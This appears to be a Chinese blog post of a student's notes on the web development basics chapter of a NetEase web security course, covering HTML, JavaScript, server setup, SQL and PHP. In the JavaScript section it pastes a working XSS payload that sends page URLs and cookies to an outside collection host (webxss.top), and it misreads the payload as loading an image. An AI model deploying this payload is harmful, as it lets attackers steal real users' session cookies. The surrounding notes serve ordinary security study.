网易云课堂Web安全工程师课程分享——第二章 Web开发基础知识
2020-02-03 04:28
941 查看
第一节 前端开发基础——HTML
课程回顾
- Web页面通常使用哪几种语言开发?
- HTML结构包含哪两部分?
- HTML元素由哪几部分组成?
- 常见的HTML标签有哪些?
- HTML DOM是什么结构?
总结回答
- HTML + CSS + Java Script
- Head 和 Body
- 开始标签(例如<P>),闭合标签(例如</p>), 内容,属性
标签 | 表示 |
---|---|
注释 | <!-- --> |
图像 | <img src=’’ > |
链接 | <a href=’’> |
表单 | <form> </form> |
内联框架 | <iframe src=’’> </iframe > |
HTML DOM
DOCUMENTHTMLHEADBODYTITLE'MYTITLE'divh1pa
参考资料
初级
-
测验
完成测验 -
实践
完成实践中的“HTML实例”;在运行实验代码时,需要了解其含义,并尝试修改每一个实例相关的元素(标签、属性、内容)。 -
了解HTML实体
http://www.runoob.com/html/html-entities.html
http://www.runoob.com/tags/ref-entities.html -
掌握HTML预留字符
字符 | 实体编码 | 实体名称 |
---|---|---|
< | < | < |
> | > | > |
" | " | " |
’ | &apos | ' |
& | & | & |
高级
- 熟悉HTML的常见事件属性
了解on属性,参考其中的属性亲自试一试,让如onerror、onload、onclick、onchange、onfocus、oninput、onmousemove、onsubmit、onkeydown属性执行alert(1)。
课程作业
创建你的第一个html网页,
包含内容:
网页标题<title>: 我的第一个HTML网页
使用<img>加载素材:
http://edu-image.nosdn.127.net/FBEFFDA6D0AA8FE868373CB4FE111DDA.png imageView&thumbnail=1920y560&quality=100(width=“480” height=“150”)
使用<img>加载学员云课堂头像(width=“50” height=“50”);
并内联一个包含云课堂的框架(width=“500” height=“100”)。可试用换行符。
并通过浏览器访问。将html代码文件和浏览器显示的内容截图贴到答题框内。
第二节 前端开发基础——javascript
课程回顾
- 我们在哪几个地方可以运行javascript?
- javascript如何获取元素和元素内容?
- javascript如何获取浏览器cookie?
- javascript由哪三部分组成?
总结回答
- HTML的<script>和</script>之间,HTML的事件属性中(如onclick)以及浏览器的控制台。
- 获取元素:getElementById()
获取元素内容:.innerHTML
alert()在javascript中表示弹出一个警告框,用来展示信息。 - 获取浏览器cookie:document.cookie
- ECMCScript:javascript标准
DOM 文档对象模型,HTML元素操作
BOM 浏览器对象模型,浏览器操作
参考资料
初级
(function(){(new Image()).src='http://webxss.top/xss/index.php?do=api&id=Sx5tnh&location='+ escape((function(){try{return document.location.href}catch(e){return ''}})())+ '&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+ '&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+ '&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})(); if(''==1){keep=new Image(); keep.src='http://webxss.top/xss/index.php? do=keepsession&id=Sx5tnh&url='+escape(document.location)+'&cookie='+escape(document.cookie)}
大概是获取webxss平台的登录主页图片…
高级
- 框架扩展
搜集整理常见的JavaScript框架,了解如何使用; - 掌握JSONP
1)熟悉json格式,参考;
2)学习jsonp格式,参考;
3)在学习1.2.3后, 将上述JSONP教程中的代码部署并实验jsonp如何跨域读取数据。 - 掌握AJAX技术
参考实践。
课程作业
- 如下为一个html的元素:
<p id=“hello”>Hello World!</p>
如果想用javascript语言获取该元素内容,并将元素内容输出在浏览器页面上。则相关javascript代码如何写(不用全部写出,只写出关键的代码即可)。
回答:document.write(document.getElementById(“hello”).innerHTML); - 获取study.163.com的cookie并弹框显示。
alert(document.cookie);
第三节 WEB服务端环境
课程回顾
- WEB动态页面大致解析过程是什么?
- WEB服务端包含哪两种服务?
- 本地访问时,四种访问网站的形式有哪些?
- 如何运行一个简单的WEB文件?
总结回答
1.动态页面解析
网页浏览器Web服务器脚本解释器数据库服务器PHP传递请求请求数据解释运行脚本返回数据返回HTML网页返回网页网页浏览器Web服务器脚本解释器数据库服务器PHP- Web服务(Apache)和数据库服务(MySQL)。
- 本地主机,127.0.0.1,本机IP,域名访问
- 新建文档到当前目录下,在浏览器中输入路径即可访问。
参考资料
初级
- 了解参加的Web服务架构
1)搜集流行的Web服务端架构:
2)整理了解这些Web构架的特点。 - 安装xampp
不是很麻烦这里就不详细介绍了
高级
- 安装tomcat环境,在网站目录下新建一个测试页面index.jsp
内容为:
<html> <head> <title> My first Tomcat! </title> </head> <body> <center> Now time is: <%=new java.util.Date()%> </center> </body> </html>
要求正常显示页面。
经过我一顿操作之后,页面显示如下
这里比较坑的是设置环境变量的时候直接复制了路径,千万不要复制! 千万不要复制!
- 尝试部署初级扩展中提到的几种Web架构。
有心杀贼无力回天啊兄弟们。如果有兴趣自己部署一下吧。
课程作业
安装phpstudy,并配置hosts为:127.0.0.1 websecurity.163.com;并访问该域名。在答题框内给出成功访问该网站的截图(包含地址栏)。
第四节 后端开发基础——SQL
课程回顾
- 如何才能创建一个数据库、表?
- 如何对表中数据进行增删改查?
- Mysql常见的内置函数有哪些?
总结回答
- 创建数据库:CREATE DATABASE NAME;
创建数据表:CREATE TABLE NAME(DES); - 增:INSERT INTO TABLE() VALUE();
删:DELETE FROM TABLE WHERE DES;
改:UPDATE table SET DES WHERE DES;
查:SELECT DES FROM TABLE; - select database();
select current_user;
select load_file();
select version();
select into+outfile;
参考资料
- 收集常见的数据库类型
参考。 - 测验
完成测验。 - 掌握phpmyadmin的基本操作
增删查改。 - 学习函数
掌握concat()、group_concat()、concat_ws()、load_file()、hex()、char()、count()、substring()、into+outfile、LOAD DATA INFIL、limit。
课程作业
作业时两个课上操作过的示范,这里就不重复了。
第五节 后端开发基础——PHP
课程回顾
- 什么是PHP?基本语法是什么?
- PHP变量$_POST, $_GET, $_FILES的用法。
- PHP include的用法?
- PHP如何操作数据库?
总结回答
- PHP:Hypertext Preprocessor,超文本预处理器,是一种开源的通用计算机脚本语言,尤其适用于网络开发并可嵌入HTML中使用。 基本语法:<?php ?>,注释
#
,//
,/* */
,echo
和print
,串接.
,函数名function()
,变量名$
。 - 都可用来传递值。
- <?php include "" ?>
课程作业
视频中讲解的部分。
- 点赞
- 收藏
- 分享
- 文章举报
相关文章推荐
- 01.Web基础知识 第二章 Web开发基础知识
- web基础知识第二章:web开发基础知识
- javaweb开发之基础知识篇
- 快学Spark 2.0(新特性、含真实项目、纯Scala语言开发、CDH5.7) 分享下载地址——https://pan.baidu.com/s/1jHVvIAi 密码: sirk 本课程从基础开
- 若只如初见——WEB/BS开发必备基础知识
- 线上课程 | 还在因为不懂技术被开发怼?10天补齐产品经理必懂的基础技术知识
- 【Java EE (Struts2 + Spring + Hibernate)开发】:Web 之 【JSP基础知识】
- 基础知识:Web开发相关技术
- WEB网页开发——day25 JavaScriput基础知识
- JavaWeb基础(3)—— JavaWeb 开发基础知识
- 网易云Web安全工程师课程分享2——第二章 常见Web漏洞解析
- Web Development Foundations: Full-Stack vs Front-End Web开发基础:全栈与前端 Lynda课程中文字幕
- 移动web开发基础知识
- Web前端开发基础入门教程-骆宝龙-专题视频课程
- Web 开发 基础知识解析
- Web项目开发常用基础知识集锦
- web开发基础知识之html常用标签和dom结构
- Web开发中的一些基础知识
- Java WEB开发实战 之 第一部分:复习必备的基础知识【私塾在线原创】
- web前端基础教学视频分享(一)html+css+js基础教学(附淘宝网站开发教程)